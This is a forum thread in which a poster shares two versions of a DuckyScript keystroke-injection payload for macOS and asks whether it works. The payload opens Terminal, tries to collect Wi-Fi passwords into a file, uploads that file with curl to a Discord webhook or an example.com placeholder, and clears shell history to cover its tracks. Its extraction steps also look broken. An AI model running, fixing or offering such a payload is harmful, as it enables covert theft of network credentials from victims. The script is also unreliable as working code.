bobyrossy Posted October 26 Share Posted October 26 I am trying to create a script for macOS and have no clue if it would work since I do not have a macOS computer, I know this sounds suspicious but I am just seeing if this it right. REM Open Terminal DELAY 500 GUI SPACE DELAY 500 STRING Terminal ENTER DELAY 1000 REM Extract Wi-Fi Passwords STRING /usr/sbin/networksetup -listallnetworkservices | while read service; do /usr/sbin/networksetup -getairportnetwork "$service" | grep -E "password" | sed 's/.*: //' >> wifi-passwords.txt done ENTER REM Change Directory and Upload File DELAY 500 GUI SPACE DELAY 200 STRING Terminal ENTER DELAY 1000 STRING cd /usr/sbin/networksetup ENTER DELAY 500 STRING curl -F "file=@wifi-passwords.txt" DISCORDWEBHOOK ENTER REM Clear Terminal History STRING history -c ENTER Quote Link to comment Share on other sites More sharing options...
bobyrossy Posted October 26 Author Share Posted October 26 I changed the script a bit, will this work better? ID 05ac:021e Apple:Keyboard REM Open Terminal DELAY 500 GUI SPACE DELAY 500 STRING Terminal ENTER DELAY 1000 REM Run Commands in Terminal STRING /usr/sbin/networksetup -listallnetworkservices | while read service; do /usr/sbin/networksetup -getairportnetwork "$service" | grep -E "password" | sed 's/.*: //' >> wifi-passwords.txt done ENTER STRING curl -F "file=@wifi-passwords.txt" https://example.com/upload ENTER STRING history -c ENTER Quote Link to comment Share on other sites More sharing options...
dark_pyrro Posted October 26 Share Posted October 26 1 hour ago, bobyrossy said: ID 05ac:021e Apple:Keyboard Is this a part of the payload? Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.